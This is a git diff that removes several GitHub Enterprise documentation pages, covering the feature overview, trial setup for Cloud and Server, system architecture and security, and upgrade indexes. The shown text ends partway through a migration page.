Enterprise - - Fundamentals ---- - -{% data variables.product.prodname_ghe_cloud %} is a developer platform that supports the entire software development lifecycle, including planning work, automating tests and deployments, and keeping code secure. - -This article provides an overview and links to more information for some of {% data variables.product.github %}'s major features. - -## Features for administrators - -| Goal | More information | -| :- | :- | -| View people in your enterprise | [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise) | -| Implement governance and enforce policies | [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise) | -| Communicate information to users | [AUTOTITLE](/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise) -| Introduce continuous integration and continuous deployment (CI/CD) at scale | [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise) | -| Ensure code quality and security at scale | [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale) | -| Audit, understand, and troubleshoot user activity | [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise) | - -## Features for developers - -| Goal | More information | -| :- | :- | -| Store and collaborate on code | <ul><li>[AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories)</li><li>[AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)</li><li>[AUTOTITLE](/pull-requests/collaborating-with-pull-requests/getting-started/best-practices-for-pull-requests)</li></ul> | -| Protect important branches in repositories | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) | -| Organize and manage access to repositories | <ul><li>[AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations)</li><li>[AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise)</li><li>[AUTOTITLE](/organizations/organizing-members-into-teams/about-teams)</li></ul> | -| Receive, customize, triage, and manage updates about activity | [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications) | -| Format and structure text in comments | [AUTOTITLE](/get-started/writing-on-github) | -| Search for code | [AUTOTITLE](/search-github/github-code-search/using-github-code-search) | -| Configure continuous integration and continuous delivery (CI/CD) using {% data variables.product.prodname_actions %} | <ul><li>[AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration)</li><li>[AUTOTITLE](/actions/deployment/about-deployments/about-continuous-deployment)</li></ul> | -| Improve code quality and security | [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security#about-advanced-security-features) | -| Plan and track work | <ul><li>[AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues)</li><li>[AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)</li></ul> | -| Subscribe to events using webhooks | [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks) | -| Extend, customize, and automate | [AUTOTITLE](/rest/overview/comparing-githubs-rest-api-and-graphql-api) | -| Triage, collaborate, and manage work using a desktop application | [AUTOTITLE](/desktop/overview/about-github-desktop) | -| Triage, collaborate, and manage work using a mobile application | [AUTOTITLE](/get-started/using-github/github-mobile) | -| Triage, collaborate, and manage work using the command-line interface | [AUTOTITLE](/github-cli/github-cli/about-github-cli) | diff --git a/content/admin/overview/index.md b/content/admin/overview/index.md deleted file mode 100644 index 25bc88dcad65..000000000000 --- a/content/admin/overview/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Overview -intro: 'Learn about {% data variables.product.prodname_enterprise %} products and manage{% ifversion ghes %} accounts and access, licenses, and{% endif %} billing.' -redirect_from: - - /enterprise/admin/overview -versions: - ghec: '*' - ghes: '*' -children: - - /about-github-for-enterprises - - /about-github-enterprise-cloud - - /setting-up-a-trial-of-github-enterprise-cloud - - /feature-overview-for-github-enterprise-cloud - - /about-github-enterprise-server - - /setting-up-a-trial-of-github-enterprise-server - - /about-upgrades-to-new-releases - - /system-overview - - /about-the-github-enterprise-api - - /best-practices-for-enterprises - - /establishing-a-governance-framework-for-your-enterprise - - /accessing-compliance-reports-for-your-enterprise ---- - -For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise). diff --git a/content/admin/overview/setting-up-a-trial-of-github-enterprise-cloud.md b/content/admin/overview/setting-up-a-trial-of-github-enterprise-cloud.md deleted file mode 100644 index 3079862afa4d..000000000000 --- a/content/admin/overview/setting-up-a-trial-of-github-enterprise-cloud.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Setting up a trial of GitHub Enterprise Cloud -intro: 'Learn how to set up a trial of {% data variables.product.prodname_ghe_cloud %}, what is included in the trial, and what happens when the trial ends.' -redirect_from: - - /articles/setting-up-a-trial-of-github-enterprise-cloud - - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud - - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud - - /get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts -shortTitle: Enterprise Cloud trial ---- - -{% data reusables.enterprise.about-ghec %} See [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud). - ->You can set up a trial to evaluate features that require {% data variables.product.prodname_ghe_cloud %}, such as SAML single sign-on (SSO) and {% data variables.product.prodname_GH_advanced_security %}. For a full list of available features, see our [Pricing](https://github.com/pricing) page. - -Your trial **won't** include {% data variables.enterprise.data_residency_short %} on {% data variables.enterprise.data_residency_site %} or access to {% data variables.product.prodname_ghe_server %}. To test these features, contact {% data variables.contact.contact_enterprise_sales %}. - -<a href="https://github.com/account/enterprises/new?ref_cta=GHEC+trial&ref_loc=setting+up+a+trial+of+github+enterprise+cloud&ref_page=docs" target="_blank" class="btn btn-primary mt-3 mr-3 no-underline"><span>Set up a trial of {% data variables.product.prodname_ghe_cloud %}</span> {% octicon "link-external" height:16 %}</a> - ->[!IMPORTANT] Your trial enterprise will be hosted in the USA. If you require {% data variables.enterprise.data_residency_short %} outside the USA, contact {% data variables.contact.contact_sales_data_residency %}. - -To set up a trial, you must be signed in to a personal account. If you don't have a personal account, see [AUTOTITLE](/free-pro-team@latest/get-started/start-your-journey/creating-an-account-on-github). - -{% data reusables.enterprise.enterprise-types %} - -## What is included in the trial? - -The trial lasts for **{% data reusables.enterprise.ghec-trial-length %} days** and includes the following features. - -* Access to **most** {% data variables.product.prodname_ghe_cloud %} features.{% ifversion metered-ghe-ghas %} -* {% data variables.product.prodname_copilot_for_business %} -* {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} -* Access to the **new billing platform**.{% ifversion enhanced-billing-platform %} See [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises).{% endif %}{% endif %} -* An **enterprise account**, which allows you to manage multiple organizations. See [AUTOTITLE](/enterprise-cloud@latest/get-started/learning-about-github/types-of-github-accounts). -* Up to **50 licenses** to grant access to users. - -## Features not included in the trial - -* {% data variables.product.prodname_github_codespaces %} -* {% data variables.product.prodname_copilot_enterprise %} -* {% data variables.product.prodname_sponsors %} -* Paid {% data variables.product.prodname_marketplace %} apps -* {% data variables.product.prodname_github_connect %} -* {% data variables.large_files.product_name_long %} -* For {% data variables.product.prodname_actions %}, increased minutes, job concurrency, and {% data variables.actions.hosted_runners %} - -If you invite an existing organization into your trial enterprise, **all of these features will be disabled**. If you remove the organization from the enterprise, the features will be re-enabled. - -## Do I need to provide a payment method? - -You do not need to provide a payment method to start a trial. If you want to use {% data variables.product.prodname_copilot_business_short %} during the trial, you need to provide a credit card. You **won't** be charged for using {% data variables.product.prodname_copilot_business_short %} during the trial. - -## During the trial - -After you set up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the suggested tasks on the "Getting started" tab of your enterprise account. - -You can create up to **three new organizations** in the trial enterprise, or transfer any number of existing organizations. - -* You cannot transfer organizations that have free or paid {% data variables.product.prodname_marketplace %} apps. Free apps are supported for new organizations in the trial. -* You cannot transfer organizations that are already owned by another enterprise. -* Billing for transferred organizations is paused during the trial and any coupons are removed. To reapply a coupon, contact {% data variables.contact.contact_support_page %}. -* Organizations created during the trial cannot be removed from the enterprise account until you purchase {% data variables.product.prodname_enterprise %}. - -For help setting up the included features, once you've started your trial, see [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial). - -## What happens when the trial ends? - -You can end your trial at any time by purchasing {% data variables.product.prodname_enterprise %} or canceling the trial. Otherwise, after {% data reusables.enterprise.ghec-trial-length %} days, your trial will expire. - -{% data variables.product.prodname_enterprise %} trial accounts are automatically deleted 90 days after the trial period ends if the account has not been converted to a paid account. - -If you **purchase {% data variables.product.prodname_enterprise %}**: - -{% ifversion metered-ghe-ghas %} -* You can use usage-based billing for {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %}, which means you pay monthly for the number of licenses you use. You will not need to buy a predefined number of licenses in advance. See, [AUTOTITLE](/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses). - - If you did not set up a free trial and you want to use usage-based billing to pay for {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} after the {% data variables.product.prodname_ghe_cloud %} trial ends, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).{% endif %} - -* You can generate a {% data variables.product.prodname_ghe_server %} license file for the same quantity of users who are consuming a {% data variables.product.prodname_ghe_cloud %} license. - -If you **cancel your trial**: - -* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. -* Enterprise owners and members lose access to the enterprise account and any organizations that you created during the trial. - -If your **trial expires**: - -* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. -* Enterprise owners and members retain access to the enterprise account and organizations created during the trial in a downgraded state, allowing you to either upgrade to {% data variables.product.prodname_enterprise %} or move assets elsewhere. -* You can delete an expired trial to remove people's access to the enterprise and organizations created during the trial. - -For more information about the effects of downgrading an organization, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan#downgrading-your-organizations-plan). - -## Ending your trial - -You can end a trial by purchasing {% data variables.product.prodname_enterprise %} or by canceling the trial. If a trial has expired, you can delete the trial. - -### Purchasing {% data variables.product.prodname_enterprise %} - -You can purchase {% data variables.product.prodname_enterprise %} at any time during the trial. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. To end the trial period and purchase {% data variables.product.prodname_enterprise %}, click **Activate Enterprise** in the blue banner at the top of the page. - -### Canceling or deleting a trial - -You can cancel a trial at any time. Once the trial has expired, you can delete the trial. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Profile**. -1. At the bottom of the page, in the "Danger zone" section, click **Cancel trial** or **Delete trial**. - -## Further reading - -* [AUTOTITLE](/admin/overview/best-practices-for-enterprises) -* [{% data variables.product.prodname_roadmap %}]({% data variables.product.prodname_roadmap_link %}) diff --git a/content/admin/overview/setting-up-a-trial-of-github-enterprise-server.md b/content/admin/overview/setting-up-a-trial-of-github-enterprise-server.md deleted file mode 100644 index 09544744744d..000000000000 --- a/content/admin/overview/setting-up-a-trial-of-github-enterprise-server.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Setting up a trial of GitHub Enterprise Server -intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.' -redirect_from: - - /articles/requesting-a-trial-of-github-enterprise - - /articles/setting-up-a-trial-of-github-enterprise-server - - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-server - - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server - - /get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts -shortTitle: Enterprise Server trial ---- - -## About trials of {% data variables.product.prodname_ghe_server %} - -You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For more information about {% data variables.product.prodname_ghe_server %}, and for a list of supported virtualization platforms, see [AUTOTITLE](/enterprise-server@latest/admin/overview/about-github-enterprise-server). - -{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) and [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/managing-github-connect). - -Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -{% data reusables.products.which-product-to-use %} - -## Setting up your trial of {% data variables.product.prodname_ghe_server %} - -{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request. - -To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see [AUTOTITLE](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise). - -To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in [AUTOTITLE](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance). - -## Next steps - -To get the most out of your trial, follow these steps: - -1. [Create an organization](/enterprise-server@latest/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). -1. To learn the basics of using {% data variables.product.prodname_dotcom %}, see: - * [Intro to {% data variables.product.prodname_dotcom %}](https://resources.github.com/devops/methodology/maximizing-devops-roi/) webcast - * [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides - * [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides - * [AUTOTITLE](/get-started/learning-about-github/about-versions-of-github-docs) -1. To configure your instance to meet your organization's needs, see [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-your-enterprise). -1. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see [AUTOTITLE](/enterprise-server@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam) and [AUTOTITLE](/enterprise-server@latest/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap). -1. Invite people to join your trial. - * Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see [AUTOTITLE](/enterprise-server@latest/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). - * To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login). - - > [!NOTE] - > People you invite to become account administrators will receive an email with a link to accept your invitation. - -{% data reusables.enterprise.best-practices %} - -{% data reusables.products.product-roadmap %} - -## Finishing your trial - -You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period. - -If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension. - -## Further reading - -* [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) diff --git a/content/admin/overview/system-overview.md b/content/admin/overview/system-overview.md deleted file mode 100644 index 32aea23c4a20..000000000000 --- a/content/admin/overview/system-overview.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: System overview -intro: 'Learn more about {% data variables.product.prodname_ghe_server %}''s system internals, functionality, and security.' -redirect_from: - - /enterprise/admin/installation/system-overview - - /enterprise/admin/overview/system-overview -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Security - - Storage ---- - -## About {% data variables.product.prodname_ghe_server %} - -{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} {% data reusables.enterprise.github-distributes-ghes %} For more information, see [AUTOTITLE](/admin/overview/about-github-enterprise-server). - -## Storage architecture - -{% data variables.product.prodname_ghe_server %} requires two storage volumes, one mounted to the _root filesystem_ path (`/`) and the other to the _user filesystem_ path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data. - -The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.prodname_ghe_server %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.prodname_ghe_server %} releases. - -The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a {% ifversion ghes > 3.14 %}400GB root volume is allocated, there will be 200GB allocated to the root filesystem and 200GB{% else %}200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB{% endif %} reserved for the upgrades and rollbacks. - -{% ifversion ghes > 3.13 %}In new installations of 3.14 and later, the root storage volume is split into four partitions. Two small partitions are for the supported boot modes (BIOS and UEFI), and the other two equally large partitions are for the {% data variables.product.prodname_ghe_server %} primary, and upgrades and rollbacks.{% endif %} - -The root filesystem contains files that store the following information. This list is not exhaustive. - -* Custom certificate authority (CA) certificates (in `/usr/local/share/ca-certificates*`) -* Custom networking configurations -* Custom firewall configurations -* The replication state - -The user filesystem contains files that store following configuration and data. This list is not exhaustive. - -* Git repositories -* Databases -* Search indexes -* Content published on {% data variables.product.prodname_pages %} sites -* Large files from {% data variables.large_files.product_name_long %} -* Pre-receive hook environments - -## Deployment topologies - -By default, {% data variables.product.prodname_ghe_server %} runs as a standalone instance. You can increase the reliability and performance of {% data variables.product.prodname_ghe_server %} by using a different topology for your deployment. - -* To mitigate the impact of system or network failures, you can deploy a passive replica instance. During an outage that affects your primary instance, you can manually fail over to the replica instance. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration). -* You can configure multiple active replicas to improve performance for developers who are geographically distant from your primary instance. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-geo-replication). -* Some enterprises with tens of thousands of developers may benefit from a cluster configuration that scales horizontally instead of vertically. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/about-clustering). - -## Data retention and datacenter redundancy - -> [!WARNING] -> Before using {% data variables.product.prodname_ghe_server %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. - -{% data variables.product.prodname_ghe_server %} includes support for online and incremental backups with {% data variables.product.prodname_enterprise_backup_utilities %}. You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned instance at time of recovery in case of disaster at the primary datacenter. - -In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the instance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance. - -For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance). - -## Security - -{% data reusables.enterprise.ghes-runs-on-your-infrastructure %} - -{% data variables.product.prodname_ghe_server %} also includes additional security features. - -* [Operating system, software, and patches](#operating-system-software-and-patches) -* [Network security](#network-security) -* [Application security](#application-security) -* [External services and support access](#external-services-and-support-access) -* [Encrypted communication](#encrypted-communication) -* [Users and access permissions](#users-and-access-permissions) -* [Authentication](#authentication) -* [Audit and access logging](#audit-and-access-logging) - -### Operating system, software, and patches - -{% data variables.product.prodname_ghe_server %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.company_short %} distributes patches for the instance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.prodname_ghe_server %}. {% data variables.product.company_short %} also provides critical security patches as needed outside of the regular release cycle. - -{% data variables.product.prodname_ghe_server %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Ubuntu distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions. - -Currently, the base operating system for {% data variables.product.prodname_ghe_server %} is Ubuntu 20 (Focal Fossa). Although Ubuntu 20 (Focal Fossa) will reach the end of standard support by May 2025, we will be able to use extended security maintenance and get security support beyond 2025. - -Regular patch updates are released on the {% data variables.product.prodname_ghe_server %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.prodname_ghe_server %} patch release. - -### Network security - -{% data variables.product.prodname_ghe_server %}'s internal firewall restricts network access to the instance's services. Only services necessary for the appliance to function are available over the network. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports). - -### Application security - -{% data variables.product.company_short %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.company_short %} products, including {% data variables.product.prodname_ghe_server %}. {% data variables.product.company_short %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.company_short %} products. - -### External services and support access - -{% data variables.product.prodname_ghe_server %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications), [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring), and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding). - -You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support). - -### Encrypted communication - -{% data variables.product.company_short %} designs {% data variables.product.prodname_ghe_server %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.prodname_ghe_server %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -By default, the instance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -If you configure SAML authentication for {% data variables.location.product_location %}, you can enable encrypted assertions between the instance and your SAML IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam#enabling-encrypted-assertions). - -### Users and access permissions - -{% data variables.product.prodname_ghe_server %} provides three types of accounts. - -* The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). -* User accounts in the instance's web application have full access to their own data and any data that other users or organizations explicitly grant. -* Site administrators in the instance's web application are user accounts that can manage high-level web application and instance settings, user and organization account settings, and repository data. - -For more information about {% data variables.product.prodname_ghe_server %}'s user permissions, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github). - -### Authentication - -{% data variables.product.prodname_ghe_server %} provides four authentication methods. - -* SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). -* Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). -* External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam). -* OAuth and {% data variables.product.pat_generic %}s provide access to Git repository data and APIs for both external clients and services. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -### Audit and access logging - -{% data variables.product.prodname_ghe_server %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.prodname_ghe_server %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding). - -Access and audit logs include information like the following. - -#### Access logs - -* Full web server logs for both browser and API access -* Full logs for access to repository data over Git, HTTPS, and SSH protocols -* Administrative access logs over HTTPS and SSH - -#### Audit logs - -* User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs -* Site administrator actions, such as unlocking user accounts and repositories -* Repository push events, access grants, transfers, and renames -* Organization membership changes, including team creation and destruction - -## Open source dependencies for {% data variables.product.prodname_ghe_server %} - -You can see a complete list of dependencies in your instance's version of {% data variables.product.prodname_ghe_server %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`. - -Tarballs with a full list of dependencies and associated metadata are available on your instance. - -* For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies-<GHE version>-base.tar.gz` -* For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies-<GHE version>-<platform>.tar.gz` - -Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases/<version>/download.html`. - -## Further reading - -* [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-server) -* [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance) diff --git a/content/admin/release-notes.md b/content/admin/release-notes.md deleted file mode 100644 index 46d675892701..000000000000 --- a/content/admin/release-notes.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Release notes -layout: release-notes -intro: 'Detailed information for all releases of the currently selected version of {% data variables.product.prodname_ghe_server %}.' -versions: - ghes: '*' -topics: - - Enterprise - - Upgrades -redirect_from: - - /admin/overview/github-ae-release-notes ---- - diff --git a/content/admin/upgrading-your-instance/index.md b/content/admin/upgrading-your-instance/index.md deleted file mode 100644 index 960a7629efec..000000000000 --- a/content/admin/upgrading-your-instance/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- - title: Upgrading your instance - intro: 'Administrators can upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.' - versions: - ghes: '*' - topics: - - Enterprise - - Upgrades - children: - - /preparing-to-upgrade - - /performing-an-upgrade - - /troubleshooting-upgrades - shortTitle: Upgrade your instance ---- diff --git a/content/admin/upgrading-your-instance/performing-an-upgrade/index.md b/content/admin/upgrading-your-instance/performing-an-upgrade/index.md deleted file mode 100644 index d12451d35c3e..000000000000 --- a/content/admin/upgrading-your-instance/performing-an-upgrade/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Performing an upgrade -intro: Administrators can upgrade {% data variables.product.prodname_ghe_server %} using an appropriate upgrade package. -versions: - ghes: '*' -topics: - - Enterprise - - Upgrades -children: - - /upgrading-with-a-hotpatch - - /upgrading-with-an-upgrade-package - - /migrating-from-github-enterprise-1110x-to-2123 - - /preparing-for-the-elasticsearch-upgrade -shortTitle: Perform an upgrade ---- diff --git a/content/admin/upgrading-your-instance/performing-an-upgrade/migrating-from-github-enterprise-1110x-to-2123.md b/content/admin/upgrading-your-instance/performing-an-upgrade/migrating-from-github-enterprise-1110x-to-2123.md deleted file mode 100644 index e973557979d8..000000000000 --- a/content/admin/upgrading-your-instance/performing-an-upgrade/migrating-from-github-enterprise-1110x-to-2123.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Migrating from GitHub Enterprise 11.10.x to 2.1.23 -redirect_from: - - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123 - - /enterprise/admin-guide/migrating - - /enterprise/admin/articles/migrating-github-enterprise - - /enterprise/admin/guides/installation/migrating-from-github-enterprise-v11-10-34x - - /enterprise/admin/articles/upgrading-to-a-newer-release - - /enterprise/admin/guides/installation/migrating-to-a-different-platform-or-from-github-enterprise-11-10-34x - - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23 - - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123 - - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123 - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123 - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123 - - /admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123 -intro: 'To migrate from {% data variables.product.prodname_enterprise %} 11.10.x to 2.1.23, you''ll need to set up a new appliance instance and migrate data from the previous instance.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Migration - - Upgrades -shortTitle: Migrate from 11.10.x to 2.1.23 ---- - -> [!NOTE] -> {% data variables.product.prodname_ghe_server %} 11.10 is an unsupported release from 2014. For a list of supported releases, see [AUTOTITLE](/admin/all-releases). - -Migrations from {% data variables.product.prodname_enterprise %} 11.10.348 and later are supported. Migrating from {% data variables.product.prodname_enterprise %} 11.10.348 and earlier is not supported. You must first upgrade to 11.10.348 in several upgrades. For more information, see the 11.10.348 upgrading procedure, [Upgrading to the latest release](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/). - -To upgrade to the latest version of {% data 